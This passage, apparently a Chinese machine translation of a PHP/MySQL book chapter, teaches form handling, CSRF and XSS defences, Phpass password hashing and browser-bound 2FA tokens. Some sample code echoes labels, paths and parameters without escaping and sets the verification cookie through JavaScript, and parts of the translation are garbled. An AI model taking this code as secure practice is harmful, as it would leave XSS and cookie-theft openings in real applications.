if (empty($a))
$x = '{}';
else {
$x = '';
foreach ($a as $k => $v)
$x .= ",'$k': '$v'";
$x = '{' . substr($x, 1) . '}';
}
return $x;
}
类似地,清单 6-5 中的Page::button
输出一个 POST 按钮,遵循前面显示的示例按钮 HTML。
清单 6-5 。Page::button
方法
protected function button($label, $params, $path = null) {
if (is_null($path))
$path = $_SERVER['PHP_SELF'];
if (strpos($path, '?') !== false)
die('illegal parameter in button() action');
$x = $this->array_to_js($params);
echo "<button class=button onclick=\"
transfer('$path', $x);\">$label</button>";
}
检查路径中的?
是为了防止意外地将参数直接放入 URL 中,这是我出于习惯偶尔会犯的错误。
有了这两种方法,就不再需要在应用内部使用 GET for 请求了。您可能仍然需要它来处理外部请求,对其他应用和 web 站点的请求,这些应用和 web 站点没有被编码为以 POST 数据的形式查找它们的参数,但是您对此无能为力。
当然,我还应该提到,除非你也使用 SSL (https ),否则 POST 没有多少安全性,SSL 可以加密进出服务器的所有数据,如果做得好,还可以确保你的用户在与你的网站对话,而不是冒名顶替(所谓的中间人攻击)。您可以通过在服务器上设置网站来启用 SSL 在 PHP 中你不用做任何特别的事情。
安全摘要
下面是一个快速回顾,你需要做些什么来使你的 PHP/MySQL 应用免受恶意攻击:
- 始终允许并考虑要求强密码。
- 用 Phpass 散列密码。
- 将哈希密码存储在数据库中,并尽可能加以保护。
- 用 2FA。
- 防止参数化查询的 SQL 注入。
- 通过转义所有源自用户的输出来防止 XSS。
- 使用 csrftoken 阻止 CSRF。
- 防止使用
X-Frame-Options
割台进行点击劫持。 - 使用 POST 而不是 GET。
- 使用 SSL。
在这一章的剩余部分,我将涵盖我列出的所有我没有解释过的内容。
如果你做了所有这些事情,没有人会从后门、前门或侧门进来,也没有人会伪造任何请求。他们能做的就是偷用户的电脑,或者对用户使用肉体力量,这两种都是你控制不了的。
至少在逆向 CSS 发明之前你是安全的。
表格
在本书中,我一直在各种例子中展示 HTML 表单,但是由于 csrftoken 的必要性、防止 XSS 攻击的转义以及处理一对多关系的潜在复杂性(第五章),它们实在太繁琐了,无法每次都从头开始编码,而且,如果您忘记了 csrftoken 或对htmlspecialchars
的调用,您就有一个安全漏洞。因此,我使用了一个Form
类,该类包含表单可以包含的许多元素的方法,您可以根据需要轻松地添加额外的方法。
基本表单类
清单 6-6 展示了Form
类的一部分。
清单 6-6 。Form
类的一部分
class Form {
protected $err_flds;
protected $vals;
function start($vals = null, $action = null) {
$this->err_flds = array();
$this->vals = $vals;
if (is_null($action))
$action = $_SERVER['PHP_SELF'];
echo "<form action='$action' method=post
accept-charset=UTF-8>";
if (isset($_SESSION['csrftoken']))
$this->hidden('csrftoken', $_SESSION['csrftoken']);
}
function end() {
echo "</form>";
}
function hidden($fld, $v) {
$v = htmlspecial($v);
echo "<input id=$fld type=hidden name=$fld value='$v'>";
}
function errors($err_flds) {
$this->err_flds = $err_flds;
}
}
Form::start
开始表单并输出开始的<form ...>
标签,带有两个可选参数。第一个是要显示的值的数组,按字段名索引。通常,它是来自另一个表单提交的$_POST
数组或从数据库中检索的一行。第二个参数是动作,但是几乎总是希望回到同一个文件。请注意,csrftoken 放在每个表单中。
Form::end
完成表格。
稍后我会展示一个例子,但是err_flds
数组保存了一个包含有错误的字段名称的数组,所以输出表单字段的各种方法可以突出显示它们。如果有错误,并且您已经建立了一个错误字段的数组,那么您可以用Form::errors
来设置该数组。(你用Page::message
显示错误信息本身。)
文本字段、标签和按钮
Form
类也有最常见的表单字段的方法:文本字段、复选框、下拉菜单等等。它们中的每一个在设计时都考虑了三件事。
- 显示的每个值都由
htmlspecial
(调用htmlspecialchars
)过滤,以防止 XSS 攻击和页面变形。 - 如果字段在
err_flds
数组中,标签会高亮显示。 - 提交后,字段值被放入由字段名索引的
$_POST
数组中,这样它就可以直接插入到数据库中,而无需进一步处理。(未选中的复选框是个例外,我会解释的。)
考虑到这些常见的属性,字段方法非常简单。在清单 6-7 中,首先出现的是Form::text
、Form::label
(它使用的)和Form::button
。
清单 6-7 。Form::text
、Form::label
、Form::button
和Form::hspace
方法
function text($fld, $label = null, $len = 50,
$placeholder = '', $break = true, $password = false) {
if ($password)
$type = 'password';
else
$type = 'text';
$this->label($fld, $label, $break);
$v = isset($this->vals[$fld]) ?
htmlspecial($this->vals[$fld]) : '';
echo "<input id=$fld type=$type size=$len name=$fld
value='$v' placeholder='$placeholder'>";
}
function label($fld, $label, $break) {
if (is_null($label))
$label = $fld;
if ($break)
echo '<p class=label>';
else
$this->hspace();
$st = isset($this->err_flds[$fld]) ?
'style="color:red;"' : '';
echo "<label class=label for=$fld $st>$label</label>";
}
function button($fld, $label = null, $break = true) {
if ($break)
echo '<p class=label>';
echo "<input id=$fld class=button type=submit name=$fld
value='$label'>";
}
function hspace($ems = 1) {
echo "<span style='margin-left:{$ems}em;'></span>";
}
这些小方法的作用应该很明显。注意,如果字段在err_flds
数组中,标签是红色的。
有了这么多的表单类,图 5-15 所示的成员表单,它是用清单 5-19 中的原始 HTML 编码的,可以重新编码以使用表单类,如清单 6-8 中的所示。
清单 6-8 。修订了show_form
方法,基于清单 5-19
protected function show_form($vals) {
$f = new Form();
$f->start($vals);
$f->hidden('member_id', $vals['member_id']);
$f->text('last', 'Last Name:', 30, 'Last Name');
$f->text('first', 'First:', 20, 'First Name', false);
$f->text('street', 'Street:', 50, 'Street');
$f->text('city', 'City:', 20, 'City');
$f->text('state', 'State:', 10, 'State', false);
$f->button('action_save', 'Save');
$f->end();
}
图 6-8 显示了改进后的形式。如果你把它与图 5-15 比较,你可以看到标签和布局更好。除此之外,它的执行是相同的,并且像所有由Form
类生成的表单一样,它包含所需的 csrftoken。
图 6-8 。改进的成员形式
外键
如果您还记得在第五章中如何从“多”方处理一对多关系,那么使用了两个字段:一个隐藏字段用于保存外键(例如specialty_id
),一个可见的只读字段用于保存外键的某种表示,这样用户就可以知道引用的是什么(例如专业name
)。有一个清除按钮用于清除外键,还有一个选择按钮用于选择被引用表中的一行。带有这些字段的表单出现在图 5-18 中,一个更漂亮的版本出现在图 6-9 中。
图 6-9 。具有外键引用的成员表单
使用Form
类,处理外键的复杂性可以通过Form::foreign_key
方法来处理,如清单 6-9 所示。
清单 6-9 。Form::foreign_key
方法
function foreign_key($fldfk, $fldvis, $label = null, $len = 50) {
$vfk = isset($this->vals[$fldfk]) ? $this->vals[$fldfk] : '';
$this->hidden($fldfk, $vfk);
$fld = "{$fldfk}_label";
$this->label($fld, $label, true);
$v = isset($this->vals[$fldvis]) ?
htmlspecial($this->vals[$fldvis]) : '';
echo "<input id=$fld type=text size=$len name=$fld
value='$v' readonly>";
echo "<button class=button type=button
onclick='ChooseSpecialty(\"$fldfk\");'>
Choose...</button>";
echo "<button class=button type=button
onclick='ClearField(\"$fldfk\");'>
Clear</button>";
}
传入了两个字段:$fldfk
是外键字段(如specialty_id), and $fldvis
是被引用表中的字段(如name
)将可见。正如我在第五章的“带有外键的表单”一节中所解释的,假设数据是通过两个表的连接来检索的,因此引用表中的字段是可用的。我在第五章中描述的使用$fldfk
作为隐藏字段的id
和{$fldfk}_label
作为可见字段的id
的技术,以及按钮调用的两个 JavaScript 函数也出自那里。(它们已经被修改为使用transfer
函数,因此它们的数据通过 POST 发送;你可以在本书的源代码/下载区的www.apress.com
看到详细内容。)
复选框
清单 6-10 中的方法Form::checkbox
非常简单,但是它必须说明在 MySQL 中如何处理开/关开关。最直接的方法是使字段类型tinyint
(值为 0 或 1)不可为空(所有非外键字段都应如此),默认值为 0。表单字段被设计为将空(缺失、零长度字符串或 0)视为未选中,也将字符 0 视为未选中,因为 PDO 查询函数将所有值都表示为字符串。因此,如果您将字段设置为可空,PHP 中的一个null
值将使复选框保持未选中状态。
清单 6-10 。Form::checkbox
方法
function checkbox($fld, $label, $break = true) {
$this->label($fld, $label, $break);
$checked = (empty($this->vals[$fld]) ||
$this->vals[$fld] === '0') ? '' : 'checked';
echo "<input id=$fld type=checkbox name=$fld
value=1 $checked>";
}
注意属性value=1
,如果复选框被选中,则将其设置为值。如果不勾选,则根本不会出现在$_POST
数组中,所以DbAccess::update
会在insert
或update
语句中将其设置为NULL
。如果它是可空的,那没问题,但是如果不是,就需要在调用DbAccess::update:
之前用这样的代码将它设置为 0
if (empty($_POST['premium']))
$_POST['premium'] = 0;
因为它不知道哪些字段是布尔型的,所以它自己不能这样做。
单选按钮和菜单
单选按钮和下拉菜单都提供了多种选择,在 MySQL 列中处理它们的自然方式是使用 type enum
。可以通过information_schema
从数据库本身获取值显示在表单上,但是这太麻烦了,所以Form::radio
和Form::menu
方法将值作为传入的数组。该数组应该具有与enum
相同的值,尽管顺序没有区别。
这两种方法如清单 6-11 所示。对于单选按钮,每个按钮都有相同的名称,所选按钮的值就是该元素在$_POST
数组中的值。对于菜单来说,select
元素有名字,被选中的option
决定了它的值。如果元素的值是vals
数组中字段的值,则单选按钮的checked
属性或选项的selected
属性存在。我选择将标签放在每个复选框的右边,并将它们水平放置。
清单 6-11 。Form::radio
和Form::menu
方法
function radio($fld, $label, $value, $break = true) {
if ($break)
echo '<p class=label>';
$st = isset($this->err_flds[$fld]) &&
$this->err_flds[$fld] == $value ?
'style="color:red;"' : '';
$checked = isset($this->vals[$fld]) &&
$this->vals[$fld] == $value ? 'checked' : '';
echo <<<EOT
<input type=radio name=$fld value='$value' $checked>
<label class=label for=$fld $st>$label</label>
EOT;
}
function menu($fld, $label, $values, $break = true,
$default = null) {
$this->label($fld, $label, $break);
echo "<select id=$fld name=$fld>";
echo "<option value=''></option>";
if (isset($this->vals[$fld]))
$curval = $this->vals[$fld];
else
$curval = $default;
foreach ($values as $v)
echo "<option value='$v' " .
($curval == $v ? "selected" : "") . ">$v</option>";
echo "</select>";
}
日期
日期由 MySQL date
类型表示,值的形式为 YYYY-MM-DD(例如,2013-06-10)。在表单上,可以键入日期,或者出现一个弹出日历,允许用户选择日期。弹出是用 jQuery UI datepicker
控件实现的,定义在 jQuery UI JavaScript(见jqueryui.com
)中,由top.php
( 第五章)包含在每个页面中。
如清单 6-12 所示,Form::date
方法输出一个带有标签的文本字段,然后输出一些 JavaScript 将datepicker
连接到该字段。
清单 6-12 。Form::date
方法
function date($fld, $label, $break = true) {
$this->text($fld, $label, 10, 'YYYY-MM-DD', $break);
echo <<<EOT
<script>
$(document).ready(function() {
$('#$fld').datepicker({dateFormat: 'yy-mm-dd'});
});
</script>
EOT;
}
注意,dateFormat
属性的yy-mm-dd
值指定了一个四位数的年份,而不是两位数的年份(这将是一个单一的y
)。
清单 6-13 显示了一个更完整的成员表单,这些额外的 MySQL 列被添加到成员表中。
billing enum('month','year','recurring') not null default 'year',
premium tinyint(4) not null default '0',
contact enum('phone','email','mail','none') not null default 'email',
since date not null,
清单 6-13 。带有附加字段的成员表单
protected function show_form($row) {
$f = new Form();
$f->start($row);
$f->hidden('member_id', $row['member_id']);
$f->text('last', 'Last Name:', 30, 'Last Name');
$f->text('first', 'First:', 20, 'First Name', false);
$f->text('street', 'Street:', 50, 'Street');
$f->text('city', 'City:', 20, 'City');
$f->text('state', 'State:', 10, 'State', false);
$f->foreign_key('specialty_id', 'name', 'Specialty');
$f->radio('billing', 'Monthly', 'month');
$f->hspace(2);
$f->radio('billing', 'Yearly', 'year', false);
$f->hspace(2);
$f->radio('billing', 'Recurring', 'recurring', false);
$f->menu('contact', 'Contact:',
array('phone', 'email', 'mail', 'none'), true, 'email');
$f->checkbox('premium', 'Premium:', false);
$f->date('since', 'Member Since:', false);
$f->button('action_save', 'Save');
$f->end();
}
图 6-10 和 6-11 显示了正在使用的菜单和日期字段。
图 6-10 。从联系人菜单中选择
图 6-11 。从日期选择器弹出菜单中选择
正如我前面提到的,Form::menu
和Form::date
方法被设计成以 MySQL 要求的精确形式传递它们的值,以消除在更新数据库之前任何额外处理的需要。
密码强度反馈
正如我在“PHP 安全概述”一节中所说的,鼓励用户选择强密码并提供一些关于他们的候选密码有多好的反馈是一个好主意。一个好的方法是在密码字段旁边放置一个密码强度指示器,然后用计算评级的函数的结果在每次击键时更新它。你可以在本书的源代码/下载区找到我使用的函数passwordStrength
(www.apress.com
)。
清单 6-14 显示了输出 span(出现在密码字段旁边)的Form::password_strength
方法,然后将 JavaScript 函数PasswordDidChange
绑定到它,如清单 6-15 所示。
清单 6-14 。Form:: password_strength
方法
function password_strength($fld, $userid) {
echo '<span id=password-strength></span>';
echo <<<EOT
<script>
$('#$fld').bind('keydown', function() {
PasswordDidChange('$fld', '$userid');
});
</script>
EOT;
}
清单 6-15 。PasswordDidChange
JavaScript 函数
function PasswordDidChange(id, username) {
$('#password-strength').
html(passwordStrength($('#' + id).val(), username));
}
传入用户 ID 只是为了给与之匹配的密码一个较弱的评级。我需要一部电影来展示密码强度计的运行,但至少图 6-12 是它的一个快照,对我在新密码栏中输入的任何内容进行评价。
图 6-12 。表单更改密码
清单 6-16 显示了生成这个表单的代码。请注意密码字段和血糖仪之间的连接(粗体)。
清单 6-16 。文件chgpassword.php
的一部分
$form = new Form();
$form->start();
$form->text('pw-old', 'Existing Password:',
50, 'Existing Password', true, true);
$form->text( 'pw-new1' , 'New Password:',
50, 'New Password', true, true);
$form->password_strength( 'pw-new1' , $userid);
$form->text('pw-new2', 'Repeat:',
50, 'New Password', true, true);
$form->button('action_set', 'Set');
$form->end();
用户表和密码管理
我在这一章开始的时候谈到了密码,主要是关于加盐和散列密码的需要,以及使用对每个站点都是唯一的强密码的重要性。现在,我想更详细地了解在 PHP/MySQL 应用中如何处理它们——特别是,如何处理忘记的密码和密码到期日期。我将展示user
表,类似于我已经合并到实际应用中的表,当我展示时,我将使用发送给用户的验证令牌展示 2FA 所需的字段。
用户表
图 6-13 显示了 MySQL Workbench 显示的用户表。
图 6-13 。用户表
前五个字段的目的应该很清楚。userid
不是代理键;它是用户注册时选择的实际用户 ID。email
地址用于一般通信目的,也用于在忘记密码时向用户发送临时密码。
如果用户传递 2FA,那么verification_hash
列用于保存存储在 cookie 中的令牌的散列。如果用户登录时出现了这个令牌,并且它的散列(使用 Phpass)与存储的散列相匹配,则跳过 2FA 阶段 2。cookie 被设置为 30 天后过期,但是您可以很容易地更改它。或者,为了使事情真正安全,您可以完全跳过 cookie,要求每次登录都执行整个身份验证过程。我在“存储验证令牌”一节中展示了如何使用该字段的编程细节
expiration
列保存密码的过期日期,而extratime
列保存过期的时间(以秒为单位),在此期间允许用户选择新密码。超过该时间后,用户将被锁定,管理员必须介入,例如延长额外时间。在我展示的代码中,普通密码将在 10 年后过期,并有 30 天的额外时间,但是当用户忘记密码时发出的临时密码将过期时间设置为当前时间,并有 30 分钟的额外时间,这意味着临时密码只有 30 分钟的有效期。通常,通过电子邮件发送临时密码会有各种各样的安全问题,但是,请记住,我使用的是 2FA,所以临时密码只是用户需要的一部分。
phone
和phone_method
栏用于在 2FA 阶段 2 中通过文本消息或语音呼叫向用户发送验证令牌。
用户表约束
正如我在第四章的“约束”一节中解释的,最好将表约束的验证放在触发器中,以确保无论表如何更新,它们都是有效的。按照那一节中的方法,清单 6-17 显示了addtriggers.php
程序中特定于表格的部分,用于安装user
表格触发器和它们调用的存储过程。add_triggers
函数本身在清单 4-19 中。在“错误处理”一节中,我展示了如何处理约束错误并将它们呈现给用户。现在,我只需要注意每个错误消息末尾的字段名称跟在@
后面,这样表单上的字段就可以突出显示。
清单 6-17 。定义用户表的触发器
try {
$db = new DbAccess();
$pdo = $db->getPDO();
add_triggers($pdo, 'user', "
if length(trim(userid)) = 0 then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'User ID is required.@userid';
end if;
if length(trim(phone)) = 0 then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Phone is required.@phone';
end if;
if email not like '%_@__%.__%' then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Email is missing or invalid.@email';
end if;
if length(trim(last)) = 0 then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Last Name is required.@last';
end if;
if length(trim(phone_method)) = 0 then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'SMS/Voice is required.@phone_method';
end if;
");
}
catch (PDOException $e) {
die(htmlentities($e->getMessage()));
}
安全类
一个Security
类执行我刚刚描述的处理,以及密码和验证令牌的加盐/散列,我将一部分一部分地介绍这个过程,因为其中有很多内容。
散列和设置密码
首先,清单 6-18 显示了Security::set_password
,它存储了一个散列密码。假设用户表中的行已经存在,并且其他需要的字段(姓名、电子邮件、电话等)已经存在。)已经输入。你可以看到正常密码十年后过期,临时密码已经过期但有 30 分钟的额外时间。还要注意,这个方法不会抛出异常,因为无论它们是什么,用户都不会看到,以防是攻击者。它们被记录下来(我在“记录错误”一节中展示了log
函数),然后false
被返回,意思是“未设置,不关你的事,为什么不”
清单 6-18 。Security::set_password 方法
function set_password($userid, $pass, $temp = false) {
try {
if (isset($_SESSION))
unset($_SESSION['expired']);
$this->store_verification($userid);
$h = $this->hash($pass);
$time = time() + ($temp ? 0 : 3600 * 24 * 365 * 10);
$extra = $temp ? 1800 : 3600 * 24 * 30;
$this->db->update('user', 'userid',
array('password_hash', 'expiration', 'extratime'),
array('userid' => $userid, 'password_hash' => $h,
'expiration' => date('Y-m-d H:i:s', $time),
'extratime' => $extra));
}
catch (\Exception $e) {
log($e);
return false;
}
return true;
}
protected function hash($pass) {
$h = $this->hasher->HashPassword($pass);
if (strlen($h) < 20) {
log('Failed to process password');
return null;
}
return $h;
}
Security::hash
方法通过调用 Phpass 来加盐/散列密码。Security
类的顶部定义如下:
class Security {
protected $hasher, $db;
function __construct() {
$this->hasher = new \PasswordHash(8, false);
$this->db = new DbAccess();
}
...
PasswordHash
是 Phpass 的构造函数。第一个参数指定散列函数要执行多少次迭代,不是为了使散列更好,而是为了减慢它。它是 2 的指数,所以 8 意味着 256 次迭代。第二个参数意味着我不需要散列来移植到其他系统。
由PasswordHash::HashPassword
返回的 60 个字符的字符串包含 salt 和 hash,由 Phpass 以某种方式格式化。它的同伴方法PasswordHash::CheckPassword
有两个参数,一个是用户输入的密码,另一个是由PasswordHash::HashPassword
预先计算的 salt/hash,它知道如何处理组合的 salt/hash。因此,除了知道 salt/hash 是 60 个字符之外,没有必要知道它是如何构造的。
存储验证令牌
对靠近清单 6-18 顶部的Security::store_verification
的调用将存储在数据库中的验证令牌的散列清零(列verification_hash
)并删除存储令牌的 cookie,确保用户下次登录时需要完整的 2FA 阶段 2。清单 6-19 展示了这个过程。
清单 6-19 。Security::store_verification
方法
function store_verification($userid, $store = false)
{
try {
if ($store) {
$time = 30;
$token = bin2hex(openssl_random_pseudo_bytes(16));
$h = $this->hash($this->screwed_down($token));
}
else {
$time = -1;
$token = '0';
$h = '0';
}
$this->update_verification_hash($userid, $h);
$this->set_cookie(VERIFICATION_COOKIE, $token, $time);
}
catch (\Exception $e) {
log($e);
return false;
}
return true;
}
第二个参数false
意味着验证令牌将被撤销(强制完整的 2FA 阶段 2),因此 cookie 时间被设置为–1(已经过期),verification_hash
字段的值为 0。否则,将生成一个 16 字节的随机令牌,并从中计算出一个向下拧紧的散列。(接下来的几分钟,我会让你好奇这到底是什么。)散列然后由Security::update_verification_hash
存储在数据库中,其实现应该不需要任何解释(如果需要,查看第五章)。
protected function update_verification_hash($userid, $h) {
$this->db->update('user', 'userid',
array('verification_hash'),
array('userid' => $userid, 'verification_hash' => $h));
}
设置安全 cookie
如果你是一个有经验的 PHP 程序员,你可能想知道我是如何在事情进行到一半的时候设置一个 cookie 的。您需要在向页面输出任何内容之前设置 cookies,因为必须输出一个标题,对吗?不行,那太局限了;我用 JavaScript 来做。PHP 方法Security::set_cookie
( 清单 6-20 )是 JavaScript 函数setCookie
( 清单 6-21 )的包装器。
清单 6-20 。Security::set_cookie
方法
function set_cookie($name, $value, $expires, $path = null,
$domain = null, $secure = null) {
if ($path == null)
$path = '/EPMADD';
if ($domain == null)
$domain = $_SERVER['HTTP_HOST'] == 'localhost' ?
'' : $_SERVER['HTTP_HOST'];
if ($secure == null)
$secure = isset($_SERVER['HTTPS']);
$sec = $secure ? 'true' : 'false';
echo <<<EOT
<script>
setCookie('$name', '$value', $expires, '$path', '$domain',
$sec);
</script>
EOT;
return true;
}
清单 6-21 。JavaScript setCookie
函数
function setCookie(name, value, expires, path, domain, secure) {
var today = new Date();
today.setTime(today.getTime());
if (expires)
expires = expires * 1000 * 60 * 60 * 24;
var date = new Date(today.getTime() + (expires));
document.cookie = name + '=' + escape(value) +
((expires) ? ';expires=' + date.toGMTString() : '') +
((path) ? ';path=' + path : '') +
((domain) ? ';domain=' + domain : '') +
((secure) ? ';secure' : '');
}
关于设置安全 cookies 的一些事情。
- 路径仅限于这个应用(EPMADD,以本书的标题命名)。不会为不在该树中的页面发送 cookie。
- 如果是
localhost
,你必须将域名设为空字符串;否则实际的域就可以了。 - 如果使用了 SSL (https ),那么 cookie 会被标记为安全的,这意味着它只与 https 请求一起发送。
- 还有一件事,帮助你阅读代码:参数
$expires
是从今天开始的几天。因此,参数 30 将 cookie 设置为 30 天后过期,这就是我们想要的验证令牌。
拧紧验证令牌
我承诺过我会通过拧紧验证令牌来达到目的。很难猜测它的随机值,但是,由于它的存在会导致 2FA Phase 2 被旁路,因此它必须非常安全。安全 cookies 是非常安全的,尤其是使用 SSL,但是我想更进一步,把它们绑在电脑上——把它们拧紧。理想情况下,我会用计算机的序列号将它们散列,以一种安全的、不可能伪造的方式提供给服务器,但是没有这样的能力。因此,我所做的是生成一个签名字符串,它不是计算机独有的,而是操作系统、浏览器版本和显示几何独有的。任何拥有令牌的人都必须从一台与令牌第一次散列时使用的机器完全相同的机器上提交 cookie。攻击者可以伪造签名,我想(他们可以做任何事情,对不对?),但首先他们必须知道它是什么,而且,由于它不存储在任何地方,这很难。
它是这样工作的:文件login.php
处理主登录表单,我在“登录和处理忘记的密码”一节中展示了它如果对照user
表验证了密码,则控制传递给loginverify.php
用于 2FA 阶段 2,特别是传递给这个action_start
函数:
protected function action_start() {
echo <<<EOT
<script>
browser_signature('loginverify.php',
{'action_start2': '1'});
</script>
EOT;
}
在清单 6-22 中的 JavaScript 函数browser_signature
形成了浏览器的签名,由用户代理字符串和显示属性连接而成。(部分基于browserspy.dk/screen.php
的代码。)然后,它将签名传递给作为第一个参数给出的 URL,第二个参数给出参数,并为签名增加一个额外的参数(browser
)。JavaScript 传递该值是通过最后调用transfer
来完成的。(将数据从 JavaScript 传递到 PHP 的唯一方式是通过 HTTP 请求。)
清单 6-22 。browser_signature
功能
function browser_signature(url, params) {
var div = document.createElement('div');
div.setAttribute('id', 'inch');
div.setAttribute('style',
'width:1in;height:1in;position:absolute');
var t = document.createTextNode(' '); // might be needed
div.appendChild(t);
document.body.appendChild(div);
var x = navigator.userAgent + '-';
x += document.getElementById("inch").offsetWidth + '-' +
document.getElementById("inch").offsetWidth;
if (typeof(screen.width) == "number")
x += '-' + screen.width;
if (typeof(screen.height) == "number")
x += '-' + screen.height;
if (typeof(screen.availWidth) == "number")
x += '-' + screen.availWidth;
if (typeof(screen.availHeight) == "number")
x += '-' + screen.availHeight;
if (typeof(screen.pixelDepth) == "number")
x += '-' + screen.pixelDepth;
if (typeof(screen.colorDepth) == "number")
x += '-' + screen.colorDepth;
params['browser'] = x;
transfer(url, params);
}
例如,下面是我的 iMac 的签名字符串,它有一个 1920 x 1080 的屏幕:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36-96-96-1920-
1080-1871-1058-24-24
这是给我的 Windows 笔记本电脑的。
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64;
Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR
2.0.50727; .NET CLR 3.0.30729; HPNTDFJS)-96-96-1600-900-1522-900-
24-24
正如你在action_start
函数中看到的,传递给browser_signature
的参数导致action_start2
(在loginverify.php
中)被执行。我在“验证登录(阶段 2)”一节中完整地展示了这个函数,但是现在这里是将签名放入$_SESSION
数组的部分:
protected function action_start2() {
$_SESSION['browser'] = $_POST['browser'];
...
}
现在签名可以连接到验证令牌,这就是Security::screwed_down
(由store_verification
、清单 6-19 调用)所做的:
protected function screwed_down($token) {
return $token . $_SESSION['browser'];
}
当然,Security::screwed_down
也被调用来对照存储值检查存储的验证令牌。实际上,签名就像一个盐,只是它更安全,因为它不被攻击者获得,因为它不与散列密码(或其他任何地方)一起存储。此外,salt 只对多重 salt/hash 有效,使得猜测效率较低;一种盐本身是没有价值的。
如果用户更新他或她的操作系统、浏览器或显示器,签名会改变,然后会发生完整的 2FA。这完全没关系。
从数据库获取散列值
既然我已经展示了如何存储密码和验证令牌,清单 6-23 展示了如何检索和检查它们,从Security::get_hashes
开始,它从数据库中检索密码和验证令牌散列并确定密码是否过期。
清单 6-23 。Security::get_hashes
方法
protected function get_hashes($userid, &$password_hash,
&$verification_hash, &$expired) {
$expired = false;
try {
$stmt = $this->db->query('select password_hash,
verification_hash, expiration, extratime
from user where userid = :userid',
array('userid' => $userid));
if ($row = $stmt->fetch()) {
$t = strtotime($row['expiration']);
if ($t < time())
$expired = true;
if ($t + $row['extratime'] >= time()) {
$password_hash = $row['password_hash'];
$verification_hash = $row['verification_hash'];
return true;
}
}
}
catch (\Exception $e) {
log($e);
}
$password_hash = $verification_hash = null;
return false;
}
这两个散列通过第二个和第三个参数返回,第三个($expired
)指示密码是否过期。如果密码没有过期或者没有超过额外的时间,该方法返回true
。正如我将在后面讨论登录代码时展示的,如果函数返回 true,用户可以继续操作,但是如果密码过期,将会出现一个修改密码的表单。如果函数返回false
,则拒绝登录。
检查密码和验证令牌
Security::check_password
,如清单 6-24 所示,检查密码是否有效。如果密码过期或错误,验证令牌被删除(调用Security::store_verification
)。用户可能犯了一个简单的输入错误,或者可能是攻击者试图猜测密码。无论哪种方式,如果随后输入正确,完整的 2FA 阶段 2 将发生。(你看我找各种借口干掉验证令牌。)
清单 6-24 。Security::check_password
方法
function check_password($userid, $pass, &$expired) {
if ($this->get_hashes($userid, $password_hash,
$verification_hash, $expired) &&
$this->hasher->CheckPassword($pass, $password_hash))
return true;
$this->store_verification($userid, 0);
return false;
}
如果密码有效,登录代码接下来将检查 cookie 中传递给应用的验证令牌。这是由Security::check_verification
完成的,如清单 6-25 所示。注意到Security::get_hashes
的$password_hash
和$expired
参数被忽略了,因为它们已经被Security::check_password
处理过了,cookie 中的令牌在对照存储的散列进行检查之前必须被拧紧。
清单 6-25 。Security::check_verification
方法
function check_verification($userid) {
return isset($_COOKIE[VERIFICATION_COOKIE]) &&
isset($_SESSION['browser']) &&
$this->get_hashes($userid, $password_hash,
$verification_hash, $expired) &&
$this->hasher->CheckPassword(
$this->screwed_down($_COOKIE[VERIFICATION_COOKIE]),
$verification_hash);
}
这就结束了Security
类,以及处理密码和验证令牌所需的所有基本方法。在下一节中,我将展示利用所有这些机制的登录代码。
登录并处理忘记的密码
我将假设用户、他们的密码和user
表的其他列已经被填充,所以我可以专注于登录过程。
图 6-14 显示了登录过程的流程图。在这里,我将快速浏览一遍,但在展示实现它的代码时,我也会慢慢浏览。该过程从登录表单中的用户 ID 和密码开始(图 6-15 )。如果他们没事,2FA 第一阶段就完成了。如果没有,验证令牌被终止,生成一条错误消息,用户返回表单。
图 6-14 。登录过程
图 6-15 。登录表单
2FA 阶段 1 完成后,如果密码已经过期(但不是额外时间),验证令牌将被终止。无论哪种方式,都会从 cookie 中检索令牌,使用浏览器签名进行哈希处理,并与存储的哈希进行比较(哈希可能已被杀死,因此比较将失败)。如果它们比较正常,则跳过 2FA 阶段 2,用户登录并进入第一个应用页面。
如果验证令牌不正常,2FA 阶段 2 继续。生成一个六位数的代码,发送到用户的手机上,然后在用户将其输入表单时进行检查。如果检查通过,2FA 第 2 阶段就完成了。如果它不检查,用户可以继续尝试。
2FA 第 2 阶段完成后,如果密码已过期,用户将转到更改密码页面。如果是当前页面,用户将转到第一个应用页面。
所有的低级处理都在Security
类中。我将要展示的代码,从清单 6-25 的开始,运行流程图。
在我展示的代码中,允许 guesser 在流程图顶部的循环中循环任意次,只要他或她想从登录表单中循环;如果一个猜测是错误的,表单仍然在那里等待另一次尝试。在错误的猜测之后,最好通过人为的延迟来减缓这个过程,我就是这样做的,延迟两秒钟。
该流程图假设 2FA 阶段 2 是通过文本消息或语音呼叫执行的,我展示了第一个阶段的代码。然后我展示如何用 YubiKey 做第二阶段。
使用登录表单登录(阶段 1 )
我在图 5-17 中展示了登录表单,但现在它又出现了,在图 6-15 中,因为我现在要深入研究它。有一个新的注册按钮,新用户点击注册并获得用户 ID 和密码。
文件login.php
开始如清单 6-26 中的所示。注意,Login 按钮执行一个pre_action
方法,这意味着它在任何输出被发送到浏览器之前被调用。这允许它启动一个会话。“忘记”和“注册”按钮具有正常的操作。还要注意 Register 按钮在表单之外。在MyPage::request
末尾的消息代码是为了让这个文件可以被再次请求,但是带有一个消息。我一会儿会展示这个案例。
清单 6-26 。login.php 文件的开始
class MyPage extends Page {
protected function request() {
$f = new Form();
$f->start();
$f->text('userid', 'User ID:', 50, 'User ID');
$f->text('pw', 'Password:', 50, 'Password', true, true);
$f->button('pre_action_login', 'Login');
$f->button('action_forgot', 'Forgot', false);
$f->end();
$this->button('Register', null, 'account.php');
if (isset($_POST['msg']))
$this->message($_POST['msg']);
}
...
}
$page = new MyPage('Login', false);
if (isset($_COOKIE['EPMADD']) &&
!isset($_POST['pre_action_logout']))
$page->transfer('login.php',
array('pre_action_logout' => 1));
else
$page->go();
MyPage
是用第二个参数false
